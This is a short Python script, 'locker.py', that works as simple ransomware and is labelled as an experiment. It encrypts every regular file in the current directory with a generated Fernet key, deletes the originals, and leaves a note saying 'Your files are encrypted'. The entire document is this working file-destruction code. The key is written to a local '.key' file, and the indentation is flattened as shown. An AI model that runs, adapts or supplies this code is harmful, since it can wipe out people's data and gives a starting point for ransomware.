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locker.py
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locker.py
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#!/usr/bin/env python3
# Author raresteak
# locker.py encrpts files
# this script is for experimentation only
# USE AT YOUR OWN RISK
import os
from cryptography.fernet import Fernet
files = []
for file in os.listdir():
if file == "locker.py" or file == "unlocker.py" or \
file == ".key" or os.path.isdir(file):
continue
elif file == "!evil_message.txt":
# prevent double encryption by looking for locker.py message file
exit()
else:
files.append(file)
if len(files) > 0:
# Generate key
key = Fernet.generate_key()
# save key
keyFh = open('.key', 'wb')
keyFh.write(key)
keyFh.close()
for file in files:
print("Encrypting: " + file)
# Read contents of file
ro_fh = open(file, 'rb')
# need to use read() instead of readlines() with feret
# readlines() produces a list and Fernet doesn't take the list
contents = ro_fh.read()
ro_fh.close()
# load key
fernetHandle = Fernet(key)
# print(contents)
# Encrypt file contents
encryptedContents = fernetHandle.encrypt(contents)
# print(encryptedContents)
newFileName = str(file + ".encrypted")
# Write the new file
rw_fh = open(newFileName, 'wb')
rw_fh.write(encryptedContents)
rw_fh.close()
# Remove old file
os.remove(file)
print("Encrypted: " + newFileName)
mymessage = "Your files are encrypted, have a nice day."
print(mymessage)
mymessageFh = open("!evil_message.txt", "w")
mymessageFh.writelines(mymessage)
mymessageFh.close()